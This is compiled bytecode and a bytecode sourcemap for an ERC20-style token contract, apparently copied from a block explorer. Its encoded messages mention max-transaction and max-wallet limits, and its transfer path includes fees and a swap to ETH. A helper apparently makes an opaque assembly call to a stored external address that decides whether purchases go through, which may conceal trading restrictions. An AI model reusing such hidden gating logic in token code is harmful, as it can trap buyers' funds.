45f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6129876024836121d5565b91506129928261292d565b604082019050919050565b5f6020820190508181035f8301526129b48161297b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612a156022836121d5565b9150612a20826129bb565b604082019050919050565b5f6020820190508181035f830152612a4281612a09565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612aa36025836121d5565b9150612aae82612a49565b604082019050919050565b5f6020820190508181035f830152612ad081612a97565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612b316023836121d5565b9150612b3c82612ad7565b604082019050919050565b5f6020820190508181035f830152612b5e81612b25565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612bbf6029836121d5565b9150612bca82612b65565b604082019050919050565b5f6020820190508181035f830152612bec81612bb3565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612c276019836121d5565b9150612c3282612bf3565b602082019050919050565b5f6020820190508181035f830152612c5481612c1b565b9050919050565b5f612c65826122cf565b9150612c70836122cf565b9250828201905080821115612c8857612c8761250d565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612cc2601a836121d5565b9150612ccd82612c8e565b602082019050919050565b5f6020820190508181035f830152612cef81612cb6565b9050919050565b5f612d00826122cf565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d3257612d3161250d565b5b600182019050919050565b5f612d47826122cf565b9150612d52836122cf565b9250828203905081811115612d6a57612d6961250d565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612da7826122cf565b9150612db2836122cf565b925082612dc257612dc1612d70565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612e276021836121d5565b9150612e3282612dcd565b604082019050919050565b5f6020820190508181035f830152612e5481612e1b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612ee781612294565b82525050565b5f612ef88383612ede565b60208301905092915050565b5f602082019050919050565b5f612f1a82612eb5565b612f248185612ebf565b9350612f2f83612ecf565b805f5b83811015612f5f578151612f468882612eed565b9750612f5183612f04565b925050600181019050612f32565b5085935050505092915050565b5f60a082019050612f7f5f830188612368565b612f8c60208301876127f5565b8181036040830152612f9e8186612f10565b9050612fad606083018561243f565b612fba6080830184612368565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612ff8601b836121d5565b915061300382612fc4565b602082019050919050565b5f6020820190508181035f83015261302581612fec565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122064825b83f228087e8c4e7e63d92f2f46d0c1a130281738659c87fdf946efa1cd64736f6c63430008150033

Deployed Bytecode Sourcemap

3635:8289:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10597:105;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5495:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6328:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4677:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5772:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6497:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11119:763;;;;;;;;;;;;;:::i;:::-;;5681:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10889:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5875:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2716:148;;;;;;;;;;;;;:::i;:::-;;4513:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2502:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4567:49;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5586:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10710:171;;;;;;;;;;;;;:::i;:::-;;6002:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4623:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6177:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10597:105;2639:12;:10;:12::i;:::-;2629:22;;:6;;;;;;;;;;:22;;;2621:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10684:10:::1;10670:11;;:24;;;;;;;;;;;;;;;;;;10597:105:::0;:::o;5495:83::-;5532:13;5565:5;;;;;;;;;;;;;;;;;5558:12;;5495:83;:::o;6328:161::-;6403:4;6420:39;6429:12;:10;:12::i;:::-;6443:7;6452:6;6420:8;:39::i;:::-;6477:4;6470:11;;6328:161;;;;:::o;4677:41::-;;;;:::o;5772:95::-;5825:7;4325:1;4378:2;:13;;;;:::i;:::-;4368:7;:23;;;;:::i;:::-;5845:14;;5772:95;:::o;6497:313::-;6595:4;6612:36;6622:6;6630:9;6641:6;6612:9;:36::i;:::-;6659:121;6668:6;6676:12;:10;:12::i;:::-;6690:89;6728:6;6690:89;;;;;;;;;;;;;;;;;:11;:19;6702:6;6690:19;;;;;;;;;;;;;;;:33;6710:12;:10;:12::i;:::-;6690:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6659:8;:121::i;:::-;6798:4;6791:11;;6497:313;;;;;:::o;11119:763::-;2639:12;:10;:12::i;:::-;2629:22;;:6;;;;;;;;;;:22;;;2621:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11184:11:::1;::::0;::::1;;;;;;;;11183:12;11175:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;11245:4;11233:9;;:16;;;;;;;;;;;;;;;;;;11297:42;11260:15;;:80;;;;;;;;;;;;;;;;;;11351:58;11368:4;11383:15;;;;;;;;;;;4325:1;4378:2;:13;;;;:::i;:::-;4368:7;:23;;;;:::i;:::-;11351:8;:58::i;:::-;11454:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11436:55;;;11500:4;11507:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11436:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11420:13;;:110;;;;;;;;;;;;;;;;;;11541:15;;;;;;;;;;;:31;;;11580:21;11611:4;11617:24;11635:4;11617:9;:24::i;:::-;11642:1;11644::::0;11646:7:::1;:5;:7::i;:::-;11654:15;11541:129;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11688:13;;;;;;;;;;;11681:29;;;11719:15;;;;;;;;;;;11737:14;11681:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11775:5;11763:9;;:17;;;;;;;;;;;;;;;;;;11805:4;11791:11;;:18;;;;;;;;;;;;;;;;;;11834:4;11820:11;::::0;:18:::1;;;;;;;;;;;;;;;;;;11862:12;11849:10;:25;;;;11119:763::o:0;5681:83::-;5722:5;4325:1;5740:16;;5681:83;:::o;10889:122::-;2639:12;:10;:12::i;:::-;2629:22;;:6;;;;;;;;;;:22;;;2621:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10988:15:::1;10971:14;;:32;;;;;;;;;;;;;;;;;;10889:122:::0;:::o;5875:119::-;5941:7;5968:9;:18;5978:7;5968:18;;;;;;;;;;;;;;;;5961:25;;5875:119;;;:::o;2716:148::-;2639:12;:10;:12::i;:::-;2629:22;;:6;;;;;;;;;;:22;;;2621:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2823:1:::1;2786:40;;2807:6;::::0;::::1;;;;;;;;2786:40;;;;;;;;;;;;2854:1;2837:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2716:148::o:0;4513:47::-;;;;:::o;2502:79::-;2540:7;2567:6;;;;;;;;;;;2560:13;;2502:79;:::o;4567:49::-;;;;:::o;5586:87::-;5625:13;5658:7;;;;;;;;;;;;;;;;;5651:14;;5586:87;:::o;10710:171::-;2639:12;:10;:12::i;:::-;2629:22;;:6;;;;;;;;;;:22;;;2621:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4325:1:::1;4378:2;:13;;;;:::i;:::-;4368:7;:23;;;;:::i;:::-;10775:12;:22;;;;4325:1;4378:2;:13;;;;:::i;:::-;4368:7;:23;;;;:::i;:::-;10808:14;:22;;;;10846:27;4325:1;4378:2;:13;;;;:::i;:::-;4368:7;:23;;;;:::i;:::-;10846:27;;;;;;:::i;:::-;;;;;;;;10710:171::o:0;6002:167::-;6080:4;6097:42;6107:12;:10;:12::i;:::-;6121:9;6132:6;6097:9;:42::i;:::-;6157:4;6150:11;;6002:167;;;;:::o;4623:47::-;;;;:::o;6177:143::-;6258:7;6285:11;:18;6297:5;6285:18;;;;;;;;;;;;;;;:27;6304:7;6285:27;;;;;;;;;;;;;;;;6278:34;;6177:143;;;;:::o;256:98::-;309:7;336:10;329:17;;256:98;:::o;6818:335::-;6928:1;6911:19;;:5;:19;;;6903:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7009:1;6990:21;;:7;:21;;;6982:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7091:6;7061:11;:18;7073:5;7061:18;;;;;;;;;;;;;;;:27;7080:7;7061:27;;;;;;;;;;;;;;;:36;;;;7129:7;7113:32;;7122:5;7113:32;;;7138:6;7113:32;;;;;;:::i;:::-;;;;;;;;6818:335;;;:::o;7161:2256::-;7265:1;7249:18;;:4;:18;;;7241:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7342:1;7328:16;;:2;:16;;;7320:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7412:1;7403:6;:10;7395:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7470:17;7512:7;:5;:7::i;:::-;7504:15;;:4;:15;;;;:32;;;;;7529:7;:5;:7::i;:::-;7523:13;;:2;:13;;;;7504:32;7500:1492;;;7565:76;7637:3;7565:67;7587:15;;7577:9;;:25;7576:55;;7617:14;;7576:55;;;7604:12;;7576:55;7565:6;:10;;:67;;;;:::i;:::-;:71;;:76;;;;:::i;:::-;7553:88;;7670:13;;;;;;;;;;;7662:21;;:4;:21;;;:55;;;;;7701:15;;;;;;;;;;;7687:30;;:2;:30;;;;7662:55;:77;;;;;7721:18;7736:2;7721:14;:18::i;:::-;7662:77;:105;;;;;7745:18;:22;7764:2;7745:22;;;;;;;;;;;;;;;;;;;;;;;;;7743:24;7662:105;7658:457;;;7806:12;;7796:6;:22;;7788:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;7901:14;;7891:6;7875:13;7885:2;7875:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;7867:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;7989:12;7984:1;7971:10;;:14;;;;:::i;:::-;:30;7967:103;;;8035:14;8046:2;8035:10;:14::i;:::-;8034:15;8026:24;;;;;;7967:103;8088:9;;:11;;;;;;;;;:::i;:::-;;;;;;7658:457;8141:13;;;;;;;;;;;8135:19;;:2;:19;;;;:47;;;;;8160:18;:22;8179:2;8160:22;;;;;;;;;;;;;;;;;;;;;;;;;8158:24;8135:47;8131:167;;;8237:14;;8227:6;8211:13;8221:2;8211:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;8203:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;8131:167;8323:13;;;;;;;;;;;8317:19;;:2;:19;;;:43;;;;;8355:4;8340:20;;:4;:20;;;;8317:43;8314:174;;;8393:79;8468:3;8393:70;8415:16;;8405:9;;:26;8404:58;;8447:15;;8404:58;;;8433:13;;8404:58;8393:6;:10;;:70;;;;:::i;:::-;:74;;:79;;;;:::i;:::-;8381:91;;8314:174;8504:28;8535:24;8553:4;8535:9;:24::i;:::-;8504:55;;8579:6;;;;;;;;;;;8578:7;:30;;;;;8595:13;;;;;;;;;;;8589:19;;:2;:19;;;8578:30;:45;;;;;8612:11;;;;;;;;;;;8578:45;:87;;;;;8648:17;;8627:20;:38;8578:87;:119;;;;;8679:18;;8669:9;;:28;8578:119;8574:407;;;8718:55;8735:37;8739:20;8760:11;;8735:3;:37::i;:::-;8718:16;:55::i;:::-;8792:26;8821:21;8792:50;;8885:1;8864:18;:22;8861:105;;;8911:35;8924:21;8911:12;:35::i;:::-;8861:105;8699:282;8574:407;7538:1454;7500:1492;9008:9;;;;;;;;;;;9004:55;;;9046:1;9034:13;;9004:55;9082:1;9072:9;:11;9069:165;;;9124:39;9153:9;9124;:24;9142:4;9124:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;9099:9;:24;9117:4;9099:24;;;;;;;;;;;;;;;:64;;;;9206:4;9183:39;;9192:4;9183:39;;;9212:9;9183:39;;;;;;:::i;:::-;;;;;;;;9069:165;9260:27;9280:6;9260:9;:15;9270:4;9260:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;9244:9;:15;9254:4;9244:15;;;;;;;;;;;;;;;:43;;;;9312:40;9330:21;9341:9;9330:6;:10;;:21;;;;:::i;:::-;9312:9;:13;9322:2;9312:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;9298:9;:13;9308:2;9298:13;;;;;;;;;;;;;;;:54;;;;9383:2;9368:41;;9377:4;9368:41;;;9387:21;9398:9;9387:6;:10;;:21;;;;:::i;:::-;9368:41;;;;;;:::i;:::-;;;;;;;;7230:2187;7161:2256;;;:::o;1394:190::-;1480:7;1513:1;1508;:6;;1516:12;1500:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1540:9;1556:1;1552;:5;;;;:::i;:::-;1540:17;;1575:1;1568:8;;;1394:190;;;;;:::o;1592:246::-;1650:7;1679:1;1674;:6;1670:47;;1704:1;1697:8;;;;1670:47;1727:9;1743:1;1739;:5;;;;:::i;:::-;1727:17;;1772:1;1767;1763;:5;;;;:::i;:::-;:10;1755:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1829:1;1822:8;;;1592:246;;;;;:::o;1846:132::-;1904:7;1931:39;1935:1;1938;1931:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1924:46;;1846:132;;;;:::o;9738:360::-;9799:4;9816:16;9880:10;9835:56;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9816:75;;9902:17;9930:14;;;;;;;;;;;9902:43;;10056:1;10053;10047:3;10041:10;10034:4;10029:3;10025:14;10014:9;10007:5;9994:64;9965:104;10086:4;10079:11;;;;9738:360;;;:::o;9535:195::-;9594:4;9611:12;9678:7;9666:20;9658:28;;9721:1;9714:4;:8;9707:15;;;9535:195;;;:::o;9427:100::-;9484:7;9513:1;9511;:3;9510:9;;9518:1;9510:9;;;9516:1;9510:9;9503:16;;9427:100;;;;:::o;10106:483::-;5083:4;5074:6;;:13;;;;;;;;;;;;;;;;;;10184:21:::1;10222:1;10208:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10184:40;;10253:4;10235;10240:1;10235:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;10279:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10269:4;10274:1;10269:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;10312:62;10329:4;10344:15;;;;;;;;;;;10362:11;10312:8;:62::i;:::-;10385:15;;;;;;;;;;;:66;;;10466:11;10492:1;10508:4;10535;10555:15;10385:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10173:416;5119:5:::0;5110:6;;:14;;;;;;;;;;;;;;;;;;10106:483;:::o;11019:92::-;11076:10;;;;;;;;;;;:19;;:27;11096:6;11076:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11019:92;:::o;1063:179::-;1121:7;1141:9;1157:1;1153;:5;;;;:::i;:::-;1141:17;;1182:1;1177;:6;;1169:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1233:1;1226:8;;;1063:179;;;;:::o;1250:136::-;1308:7;1335:43;1339:1;1342;1335:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1328:50;;1250:136;;;;:::o;1986:189::-;2072:7;2104:1;2100;:5;2107:12;2092:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2131:9;2147:1;2143;:5;;;;:::i;:::-;2131:17;;2166:1;2159:8;;;1986:189;;;;;:::o;88:117:1:-;197:1;194;187:12;334:90;368:7;411:5;404:13;397:21;386:32;;334:90;;;:::o;430:116::-;500:21;515:5;500:21;:::i;:::-;493:5;490:32;480:60;;536:1;533;526:12;480:60;430:116;:::o;552:133::-;595:5;633:6;620:20;611:29;;649:30;673:5;649:30;:::i;:::-;552:133;;;;:::o;691:323::-;747:6;796:2;784:9;775:7;771:23;767:32;764:119;;;802:79;;:::i;:::-;764:119;922:1;947:50;989:7;980:6;969:9;965:22;947:50;:::i;:::-;937:60;;893:114;691:323;;;;:::o;1020:99::-;1072:6;1106:5;1100:12;1090:22;;1020:99;;;:::o;1125:169::-;1209:11;1243:6;1238:3;1231:19;1283:4;1278:3;1274:14;1259:29;;1125:169;;;;:::o;1300:246::-;1381:1;1391:113;1405:6;1402:1;1399:13;1391:113;;;1490:1;1485:3;1481:11;1475:18;1471:1;1466:3;1462:11;1455:39;1427:2;1424:1;1420:10;1415:15;;1391:113;;;1538:1;1529:6;1524:3;1520:16;1513:27;1362:184;1300:246;;;:::o;1552:102::-;1593:6;1644:2;1640:7;1635:2;1628:5;1624:14;1620:28;1610:38;;1552:102;;;:::o;1660:377::-;1748:3;1776:39;1809:5;1776:39;:::i;:::-;1831:71;1895:6;1890:3;1831:71;:::i;:::-;1824:78;;1911:65;1969:6;1964:3;1957:4;1950:5;1946:16;1911:65;:::i;:::-;2001:29;2023:6;2001:29;:::i;:::-;1996:3;1992:39;1985:46;;1752:285;1660:377;;;;:::o;2043:313::-;2156:4;2194:2;2183:9;2179:18;2171:26;;2243:9;2237:4;2233:20;2229:1;2218:9;2214:17;2207:47;2271:78;2344:4;2335:6;2271:78;:::i;:::-;2263:86;;2043:313;;;;:::o;2362:126::-;2399:7;2439:42;2432:5;2428:54;2417:65;;2362:126;;;:::o;2494:96::-;2531:7;2560:24;2578:5;2560:24;:::i;:::-;2549:35;;2494:96;;;:::o;2596:122::-;2669:24;2687:5;2669:24;:::i;:::-;2662:5;2659:35;2649:63;;2708:1;2705;2698:12;2649:63;2596:122;:::o;2724:139::-;2770:5;2808:6;2795:20;2786:29;;2824:33;2851:5;2824:33;:::i;:::-;2724:139;;;;:::o;2869:77::-;2906:7;2935:5;2924:16;;2869:77;;;:::o;2952:122::-;3025:24;3043:5;3025:24;:::i;:::-;3018:5;3015:35;3005:63;;3064:1;3061;3054:12;3005:63;2952:122;:::o;3080:139::-;3126:5;3164:6;3151:20;3142:29;;3180:33;3207:5;3180:33;:::i;:::-;3080:139;;;;:::o;3225:474::-;3293:6;3301;3350:2;3338:9;3329:7;3325:23;3321:32;3318:119;;;3356:79;;:::i;:::-;3318:119;3476:1;3501:53;3546:7;3537:6;3526:9;3522:22;3501:53;:::i;:::-;3491:63;;3447:117;3603:2;3629:53;3674:7;3665:6;3654:9;3650:22;3629:53;:::i;:::-;3619:63;;3574:118;3225:474;;;;;:::o;3705:109::-;3786:21;3801:5;3786:21;:::i;:::-;3781:3;3774:34;3705:109;;:::o;3820:210::-;3907:4;3945:2;3934:9;3930:18;3922:26;;3958:65;4020:1;4009:9;4005:17;3996:6;3958:65;:::i;:::-;3820:210;;;;:::o;4036:118::-;4123:24;4141:5;4123:24;:::i;:::-;4118:3;4111:37;4036:118;;:::o;4160:222::-;4253:4;4291:2;4280:9;4276:18;4268:26;;4304:71;4372:1;4361:9;4357:17;4348:6;4304:71;:::i;:::-;4160:222;;;;:::o;4388:619::-;4465:6;4473;4481;4530:2;4518:9;4509:7;4505:23;4501:32;4498:119;;;4536:79;;:::i;:::-;4498:119;4656:1;4681:53;4726:7;4717:6;4706:9;4702:22;4681:53;:::i;:::-;4671:63;;4627:117;4783:2;4809:53;4854:7;4845:6;4834:9;4830:22;4809:53;:::i;:::-;4799:63;;4754:118;4911:2;4937:53;4982:7;4973:6;4962:9;4958:22;4937:53;:::i;:::-;4927:63;;4882:118;4388:619;;;;;:::o;5013:86::-;5048:7;5088:4;5081:5;5077:16;5066:27;;5013:86;;;:::o;5105:112::-;5188:22;5204:5;5188:22;:::i;:::-;5183:3;5176:35;5105:112;;:::o;5223:214::-;5312:4;5350:2;5339:9;5335:18;5327:26;;5363:67;5427:1;5416:9;5412:17;5403:6;5363:67;:::i;:::-;5223:214;;;;:::o;5443:329::-;5502:6;5551:2;5539:9;5530:7;5526:23;5522:32;5519:119;;;5557:79;;:::i;:::-;5519:119;5677:1;5702:53;5747:7;5738:6;5727:9;5723:22;5702:53;:::i;:::-;5692:63;;5648:117;5443:329;;;;:::o;5778:118::-;5865:24;5883:5;5865:24;:::i;:::-;5860:3;5853:37;5778:118;;:::o;5902:222::-;5995:4;6033:2;6022:9;6018:18;6010:26;;6046:71;6114:1;6103:9;6099:17;6090:6;6046:71;:::i;:::-;5902:222;;;;:::o;6130:474::-;6198:6;6206;6255:2;6243:9;6234:7;6230:23;6226:32;6223:119;;;6261:79;;:::i;:::-;6223:119;6381:1;6406:53;6451:7;6442:6;6431:9;6427:22;6406:53;:::i;:::-;6396:63;;6352:117;6508:2;6534:53;6579:7;6570:6;6559:9;6555:22;6534:53;:::i;:::-;6524:63;;6479:118;6130:474;;;;;:::o;6610:182::-;6750:34;6746:1;6738:6;6734:14;6727:58;6610:182;:::o;6798:366::-;6940:3;6961:67;7025:2;7020:3;6961:67;:::i;:::-;6954:74;;7037:93;7126:3;7037:93;:::i;:::-;7155:2;7150:3;7146:12;7139:19;;6798:366;;;:::o;7170:419::-;7336:4;7374:2;7363:9;7359:18;7351:26;;7423:9;7417:4;7413:20;7409:1;7398:9;7394:17;7387:47;7451:131;7577:4;7451:131;:::i;:::-;7443:139;;7170:419;;;:::o;7595:180::-;7643:77;7640:1;7633:88;7740:4;7737:1;7730:15;7764:4;7761:1;7754:15;7781:102;7823:8;7870:5;7867:1;7863:13;7842:34;;7781:102;;;:::o;7889:848::-;7950:5;7957:4;7981:6;7972:15;;8005:5;7996:14;;8019:712;8040:1;8030:8;8027:15;8019:712;;;8135:4;8130:3;8126:14;8120:4;8117:24;8114:50;;;8144:18;;:::i;:::-;8114:50;8194:1;8184:8;8180:16;8177:451;;;8609:4;8602:5;8598:16;8589:25;;8177:451;8659:4;8653;8649:15;8641:23;;8689:32;8712:8;8689:32;:::i;:::-;8677:44;;8019:712;;;7889:848;;;;;;;:::o;8743:1073::-;8797:5;8988:8;8978:40;;9009:1;9000:10;;9011:5;;8978:40;9037:4;9027:36;;9054:1;9045:10;;9056:5;;9027:36;9123:4;9171:1;9166:27;;;;9207:1;9202:191;;;;9116:277;;9166:27;9184:1;9175:10;;9186:5;;;9202:191;9247:3;9237:8;9234:17;9231:43;;;9254:18;;:::i;:::-;9231:43;9303:8;9300:1;9296:16;9287:25;;9338:3;9331:5;9328:14;9325:40;;;9345:18;;:::i;:::-;9325:40;9378:5;;;9116:277;;9502:2;9492:8;9489:16;9483:3;9477:4;9474:13;9470:36;9452:2;9442:8;9439:16;9434:2;9428:4;9425:12;9421:35;9405:111;9402:246;;;9558:8;9552:4;9548:19;9539:28;;9593:3;9586:5;9583:14;9580:40;;;9600:18;;:::i;:::-;9580:40;9633:5;;9402:246;9673:42;9711:3;9701:8;9695:4;9692:1;9673:42;:::i;:::-;9658:57;;;;9747:4;9742:3;9738:14;9731:5;9728:25;9725:51;;;9756:18;;:::i;:::-;9725:51;9805:4;9798:5;9794:16;9785:25;;8743:1073;;;;;;:::o;9822:281::-;9880:5;9904:23;9922:4;9904:23;:::i;:::-;9896:31;;9948:25;9964:8;9948:25;:::i;:::-;9936:37;;9992:104;10029:66;10019:8;10013:4;9992:104;:::i;:::-;9983:113;;9822:281;;;;:::o;10109:410::-;10149:7;10172:20;10190:1;10172:20;:::i;:::-;10167:25;;10206:20;10224:1;10206:20;:::i;:::-;10201:25;;10261:1;10258;10254:9;10283:30;10301:11;10283:30;:::i;:::-;10272:41;;10462:1;10453:7;10449:15;10446:1;10443:22;10423:1;10416:9;10396:83;10373:139;;10492:18;;:::i;:::-;10373:139;10157:362;10109:410;;;;:::o;10525:173::-;10665:25;10661:1;10653:6;10649:14;10642:49;10525:173;:::o;10704:366::-;10846:3;10867:67;10931:2;10926:3;10867:67;:::i;:::-;10860:74;;10943:93;11032:3;10943:93;:::i;:::-;11061:2;11056:3;11052:12;11045:19;;10704:366;;;:::o;11076:419::-;11242:4;11280:2;11269:9;11265:18;11257:26;;11329:9;11323:4;11319:20;11315:1;11304:9;11300:17;11293:47;11357:131;11483:4;11357:131;:::i;:::-;11349:139;;11076:419;;;:::o;11501:143::-;11558:5;11589:6;11583:13;11574:22;;11605:33;11632:5;11605:33;:::i;:::-;11501:143;;;;:::o;11650:351::-;11720:6;11769:2;11757:9;11748:7;11744:23;11740:32;11737:119;;;11775:79;;:::i;:::-;11737:119;11895:1;11920:64;11976:7;11967:6;11956:9;11952:22;11920:64;:::i;:::-;11910:74;;11866:128;11650:351;;;;:::o;12007:332::-;12128:4;12166:2;12155:9;12151:18;12143:26;;12179:71;12247:1;12236:9;12232:17;12223:6;12179:71;:::i;:::-;12260:72;12328:2;12317:9;12313:18;12304:6;12260:72;:::i;:::-;12007:332;;;;;:::o;12345:85::-;12390:7;12419:5;12408:16;;12345:85;;;:::o;12436:60::-;12464:3;12485:5;12478:12;;12436:60;;;:::o;12502:158::-;12560:9;12593:61;12611:42;12620:32;12646:5;12620:32;:::i;:::-;12611:42;:::i;:::-;12593:61;:::i;:::-;12580:74;;12502:158;;;:::o;12666:147::-;12761:45;12800:5;12761:45;:::i;:::-;12756:3;12749:58;12666:147;;:::o;12819:807::-;13068:4;13106:3;13095:9;13091:19;13083:27;;13120:71;13188:1;13177:9;13173:17;13164:6;13120:71;:::i;:::-;13201:72;13269:2;13258:9;13254:18;13245:6;13201:72;:::i;:::-;13283:80;13359:2;13348:9;13344:18;13335:6;13283:80;:::i;:::-;13373;13449:2;13438:9;13434:18;13425:6;13373:80;:::i;:::-;13463:73;13531:3;13520:9;13516:19;13507:6;13463:73;:::i;:::-;13546;13614:3;13603:9;13599:19;13590:6;13546:73;:::i;:::-;12819:807;;;;;;;;;:::o;13632:143::-;13689:5;13720:6;13714:13;13705:22;;13736:33;13763:5;13736:33;:::i;:::-;13632:143;;;;:::o;13781:663::-;13869:6;13877;13885;13934:2;13922:9;13913:7;13909:23;13905:32;13902:119;;;13940:79;;:::i;:::-;13902:119;14060:1;14085:64;14141:7;14132:6;14121:9;14117:22;14085:64;:::i;:::-;14075:74;;14031:128;14198:2;14224:64;14280:7;14271:6;14260:9;14256:22;14224:64;:::i;:::-;14214:74;;14169:129;14337:2;14363:64;14419:7;14410:6;14399:9;14395:22;14363:64;:::i;:::-;14353:74;;14308:129;13781:663;;;;;:::o;14450:332::-;14571:4;14609:2;14598:9;14594:18;14586:26;;14622:71;14690:1;14679:9;14675:17;14666:6;14622:71;:::i;:::-;14703:72;14771:2;14760:9;14756:18;14747:6;14703:72;:::i;:::-;14450:332;;;;;:::o;14788:137::-;14842:5;14873:6;14867:13;14858:22;;14889:30;14913:5;14889:30;:::i;:::-;14788:137;;;;:::o;14931:345::-;14998:6;15047:2;15035:9;15026:7;15022:23;15018:32;15015:119;;;15053:79;;:::i;:::-;15015:119;15173:1;15198:61;15251:7;15242:6;15231:9;15227:22;15198:61;:::i;:::-;15188:71;;15144:125;14931:345;;;;:::o;15282:223::-;15422:34;15418:1;15410:6;15406:14;15399:58;15491:6;15486:2;15478:6;15474:15;15467:31;15282:223;:::o;15511:366::-;15653:3;